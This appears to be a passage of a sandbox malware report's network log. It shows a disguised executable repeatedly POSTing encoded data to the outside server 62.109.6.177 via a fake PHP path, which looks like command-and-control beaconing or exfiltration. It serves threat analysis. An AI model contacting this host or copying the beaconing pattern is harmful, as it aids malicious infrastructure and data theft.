Jan 4, 2025 13:38:45.791462898 CET	380	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:45 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 06 1a 26 04 20 3d 29 11 34 3e 2b 0b 33 00 28 0f 22 5e 36 43 2c 22 23 01 27 37 3d 5d 28 0c 01 1c 21 29 3d 11 3f 01 05 53 24 23 3d 56 26 00 2c 5b 04 1f 20 41 22 11 03 1b 2e 3c 20 07 2f 54 3d 1c 33 03 37 03 29 02 09 54 36 33 2b 02 3f 5c 35 52 24 29 30 0e 2a 04 34 43 33 09 3c 5b 27 3b 2b 5e 02 15 27 03 29 5b 32 54 35 2e 39 11 25 0f 3e 1e 30 1c 20 53 34 01 3f 55 28 39 08 10 27 3f 2c 52 20 19 2d 15 23 3f 08 12 23 28 33 18 26 13 25 52 2d 0d 2f 54 0e 36 56 57 Data Ascii: & =)4>+3("^6C,"#'7=](!)=?S$#=V&,[ A".< /T=37)T63+?\5R$)0*4C3<[';+^')[2T5.9%>0 S4?U(9'?,R -#?#(3&%R-/T6VW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	50888	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:45.148688078 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:45.499995947 CET	2584	OUT	Data Raw: 50 55 5f 5a 5e 59 52 5d 5d 59 52 51 5a 5b 55 5d 5f 5e 5c 47 50 56 56 59 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PU_Z^YR]]YRQZ[U]_^\GPVVY[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.>? #:^2(**5>',%%V$9/>'#'2<.\/'^.9
Jan 4, 2025 13:38:45.953249931 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:46.088311911 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	50889	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:46.219378948 CET	293	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue
Jan 4, 2025 13:38:46.578064919 CET	2584	OUT	Data Raw: 55 57 5a 5f 5e 5d 52 58 5d 59 52 51 5a 59 55 56 5f 58 5c 42 50 5d 56 59 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UWZ_^]RX]YRQZYUV_X\BP]VY[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.<\79919^(:Z!6'^<%-T3)$S*#7 8%.\/'^.1
Jan 4, 2025 13:38:47.065129995 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:47.091073036 CET	151	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	50890	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:47.225203991 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:47.578103065 CET	2584	OUT	Data Raw: 50 56 5f 5f 5b 5b 52 5a 5d 59 52 51 5a 5b 55 5c 5f 5c 5c 41 50 54 56 53 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PV__[[RZ]YRQZ[U\_\\APTVS[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.(? 7*:^%>%69Y08 [&$-T'9;=:##001.\/'^.9
Jan 4, 2025 13:38:47.925160885 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:48.060590029 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	50891	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:48.190867901 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:48.546785116 CET	2584	OUT	Data Raw: 55 55 5f 50 5e 59 57 5e 5d 59 52 51 5a 54 55 50 5f 55 5c 46 50 50 56 5c 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UU_P^YW^]YRQZTUP_U\FPPV\[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-=8[":5% 5_:)_ 79Y%(#&-T$9/) # (2,.\/'^.
Jan 4, 2025 13:38:48.874171019 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:49.002455950 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	50892	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:49.131009102 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:49.484272003 CET	2584	OUT	Data Raw: 50 53 5f 5d 5e 5e 57 59 5d 59 52 51 5a 59 55 51 5f 5c 5c 47 50 57 56 5a 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PS_]^^WY]YRQZYUQ_\\GPWVZ[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.C)< :[$0%\>&!'!^%(8Z&4T$*:<70<2,.\/'^.1
Jan 4, 2025 13:38:49.805088997 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:49.938865900 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	50893	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:50.065778971 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:50.421742916 CET	2584	OUT	Data Raw: 50 52 5f 5a 5e 5e 52 5a 5d 59 52 51 5a 5f 55 51 5f 5a 5c 40 50 55 56 5c 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PR_Z^^RZ]YRQZ_UQ_Z\@PUV\[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-=<4:6%V&)""-\'+<_24%')8)9 <',.\/'^.)
Jan 4, 2025 13:38:50.756891012 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	50894	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:50.803056955 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 1904 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:51.157186985 CET	1904	OUT	Data Raw: 50 51 5f 51 5e 5c 57 5f 5d 59 52 51 5a 5f 55 56 5f 5f 5c 42 50 50 56 5d 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PQ_Q^\W_]YRQZ_UV__\BPPV][E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.=/<Z#$ .)!_6-^3;&!P$:/=_ Y%.\/'^.)
Jan 4, 2025 13:38:51.512329102 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:51.644320011 CET	380	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:51 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 06 1a 25 11 37 2d 3e 04 20 03 34 54 27 29 3c 0d 22 06 3d 1d 2e 31 2c 5b 27 34 22 00 2b 54 30 0b 22 29 03 5c 3c 2c 2f 11 24 30 31 1f 26 10 2c 5b 04 1f 20 42 36 3c 21 58 3a 3c 28 00 3b 0c 0c 03 30 3e 20 58 3d 3f 2f 55 35 23 0a 5b 3e 2a 0f 50 30 00 33 52 3e 04 30 05 30 1e 38 1f 27 3b 2b 5e 02 15 24 5d 2a 5b 26 53 22 2e 21 10 31 21 22 53 24 1b 2f 09 20 38 0d 56 2a 07 32 5d 27 11 3c 53 37 0e 39 5e 36 06 31 01 20 01 3f 54 26 13 25 52 2d 0d 2f 54 0e 36 56 57 Data Ascii: %7-> 4T')<"=.1,['4"+T0")\<,/$01&,[ B6<!X:<(;0> X=?/U5#[>P03R>008';+^$][&S".!1!"S$/ 8V*2]'<S79^61 ?T&%R-/T6VW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	50895	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:50.922208071 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2580 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:51.281186104 CET	2580	OUT	Data Raw: 50 56 5f 51 5e 58 57 50 5d 59 52 51 5a 5d 55 53 5f 55 5c 47 50 56 56 52 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PV_Q^XWP]YRQZ]US_U\GPVVR[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.7:>[&#!)9Y!%(0%!Q$(:'7 ?^&<.\/'^.
Jan 4, 2025 13:38:51.610385895 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:51.743289948 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	50896	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:51.863023043 CET	293	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue
Jan 4, 2025 13:38:52.218739033 CET	2584	OUT	Data Raw: 50 54 5a 58 5e 52 52 5b 5d 59 52 51 5a 5f 55 5d 5f 5f 5c 42 50 53 56 5c 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PTZX^RR[]YRQZ_U]__\BPSV\[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.@<# &%3)=1^"4*$8 &B!P&)U=9( 8%.\/'^.)
Jan 4, 2025 13:38:52.563936949 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:52.698586941 CET	151	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	50897	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:52.837475061 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:53.187408924 CET	2584	OUT	Data Raw: 50 54 5f 5b 5e 53 57 51 5d 59 52 51 5a 5b 55 55 5f 5d 5c 48 50 55 56 5d 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PT_[^SWQ]YRQZ[UU_]\HPUV][E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-,/#:[1 *!4)%+?2$:$,))3431<.\/'^.9
Jan 4, 2025 13:38:53.533288002 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:53.666487932 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	50898	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:53.914243937 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2580 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:54.265599012 CET	2580	OUT	Data Raw: 50 55 5f 5e 5b 5c 52 5d 5d 59 52 51 5a 5d 55 51 5f 58 5c 40 50 52 56 5e 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PU_^[\R]]YRQZ]UQ_X\@PRV^[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.)/346&0%6'5_%;$%'1&/):?73+_1.\/'^.5
Jan 4, 2025 13:38:54.621428013 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:54.754370928 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	50899	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:54.876189947 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:55.237092972 CET	2584	OUT	Data Raw: 55 52 5f 58 5e 52 57 5e 5d 59 52 51 5a 5e 55 57 5f 5c 5c 40 50 56 56 5d 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UR_X^RW^]YRQZ^UW_\\@PVV][E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.)/"91:):"!%(8_%4!$*#=/#V'%,.\/'^.-
Jan 4, 2025 13:38:55.588526011 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:55.722379923 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	50900	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:55.847352028 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:56.203057051 CET	2584	OUT	Data Raw: 50 54 5a 58 5b 5f 57 58 5d 59 52 51 5a 54 55 52 5f 5a 5c 43 50 52 56 5d 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PTZX[_WX]YRQZTUR_Z\CPRV][E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.C)?0 9\2_)""4%+$Z%B-&<)$Y 0',.\/'^.
Jan 4, 2025 13:38:56.557816029 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	50901	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:56.665319920 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 1904 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:57.016280890 CET	1904	OUT	Data Raw: 50 57 5f 5a 5e 59 52 5c 5d 59 52 51 5a 54 55 55 5f 5b 5c 41 50 54 56 5e 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PW_Z^YR\]YRQZTUU_[\APTV^[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.<0Z")-&05)&6%X$^#'4'90W#031.\/'^.
Jan 4, 2025 13:38:57.355807066 CET	25	IN	HTTP/1.1 100 Continue
